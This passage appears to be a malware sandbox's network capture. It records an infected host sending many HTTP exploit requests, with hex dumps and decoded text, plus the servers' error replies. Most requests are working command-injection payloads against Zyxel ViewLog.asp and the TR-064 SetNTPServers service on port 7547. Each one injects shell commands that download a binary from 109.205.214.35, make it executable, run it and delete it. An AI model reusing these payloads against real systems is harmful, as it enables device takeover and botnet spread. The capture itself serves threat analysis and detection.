09 6f 72 67 2e 61 70 61 63 68 65 2e 63 6f 79 6f 74 65 2e 68 74 74 70 31 31 2e 48 74 74 70 31 31 50 72 6f 63 65 73 73 6f 72 2e 73 65 72 76 69 63 65 28 48 74 74 70 31 31 50 72 6f 63 65 73 73 6f 72 2e 6a 61 76 61 3a 35 30 32 29 0a 09 6f 72 67 2e 61 70 61 63 68 65 2e 63 6f 79 6f 74 65 2e 41 62 73 74 72 61 63 74 50 72 6f 63 65 73 73 6f 72 4c 69 67 68 74 2e 70 72 6f 63 65 73 73 28 41 62 73 74 72 61 63 74 50 72 6f 63 65 73 73 6f 72 4c 69 67 68 74 2e 6a 61 76 61 3a 36 35 29 0a 09 6f 72 67 2e 61 70 61 63 68 65 2e 63 6f 79 6f 74 65 2e 41 62 73 74 72 61 63 74 50 72 6f 74 6f 63 6f 6c 24 43 6f 6e 6e 65 63 74 69 6f 6e 48 61 6e 64 6c 65 72 2e 70 72 6f 63 65 73 73 28 41 62 73 74 72 61 63 Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 505 HTTP Version Not Supported</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 505 HTTP Version Not Supported</h1><hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Message</b> Invalid character found in the HTTP protocol</p><p><b>Description</b> The server does not support, or refuses to support, the major version of HTTP that was used in the request message.</p><p><b>Exception</b></p><pre>java.lang.IllegalArgumentException: Invalid character found in the HTTP protocolorg.apache.coyote.http11.Http11InputBuffer.parseRequestLine(Http11InputBuffer.java:547)org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:502)org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)org.apache.coyote.AbstractProtocol$ConnectionHandler.process(Abstrac
Mar 21, 2024 05:17:16.516505003 CET	644	IN	Data Raw: 74 50 72 6f 74 6f 63 6f 6c 2e 6a 61 76 61 3a 38 31 38 29 0a 09 6f 72 67 2e 61 70 61 63 68 65 2e 74 6f 6d 63 61 74 2e 75 74 69 6c 2e 6e 65 74 2e 4e 69 6f 45 6e 64 70 6f 69 6e 74 24 53 6f 63 6b 65 74 50 72 6f 63 65 73 73 6f 72 2e 64 6f 52 75 6e 28 Data Ascii: tProtocol.java:818)org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1623)org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)java.util.concurrent.ThreadPoolExecutor.runWorker(Thread

Session ID	Source IP	Source Port	Destination IP	Destination Port
331	192.168.2.23	49338	82.165.48.208	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:16.232171059 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
332	192.168.2.23	58844	178.151.32.112	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:16.232268095 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:16.435317039 CET	83	IN	HTTP/1.1 404 Not Found Connection: close Transfer-Encoding: chunked
Mar 21, 2024 05:17:16.435376883 CET	142	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 0d 0a 31 32 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 34 34 0d 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f Data Ascii: Content-Type: text/html12<h1>Not Found</h1>44The requested URL /cgi-bin/ViewLog.asp was not found on this server.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
333	192.168.2.23	51398	125.151.230.141	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:16.344147921 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:16.638262033 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Thu, 21 Mar 2024 04:17:16 GMT Content-length: 0
Mar 21, 2024 05:17:17.415652990 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Thu, 21 Mar 2024 04:17:16 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
334	192.168.2.23	50006	118.52.4.47	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:16.344213009 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
335	192.168.2.23	54092	206.2.225.43	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:16.388344049 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:16.544657946 CET	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 21 Mar 2024 04:17:16 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:17:16.544672012 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:16 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:17:16.864391088 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:16 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
336	192.168.2.23	52424	178.62.233.178	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:16.398200035 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:16.571090937 CET	484	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:17:16 GMT Server: Apache/2.2.15 (CentOS) Content-Length: 292 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 31 35 20 28 43 65 6e 74 4f 53 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p><hr><address>Apache/2.2.15 (CentOS) Server at 127.0.0.1 Port 80</address></body></html>
Mar 21, 2024 05:17:17.056047916 CET	484	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:17:16 GMT Server: Apache/2.2.15 (CentOS) Content-Length: 292 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 31 35 20 28 43 65 6e 74 4f 53 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p><hr><address>Apache/2.2.15 (CentOS) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
337	192.168.2.23	44744	82.153.175.120	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:16.431143999 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:16.637903929 CET	224	IN	HTTP/1.1 403 Forbidden Content-Type: text/html; charset=utf-8 Content-Length: 106 Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Mar 21, 2024 05:17:17.211980104 CET	224	IN	HTTP/1.1 403 Forbidden Content-Type: text/html; charset=utf-8 Content-Length: 106 Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
338	192.168.2.23	54300	213.243.11.63	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:16.452375889 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:17.598891020 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:18.942815065 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:21.662137032 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:27.037470102 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 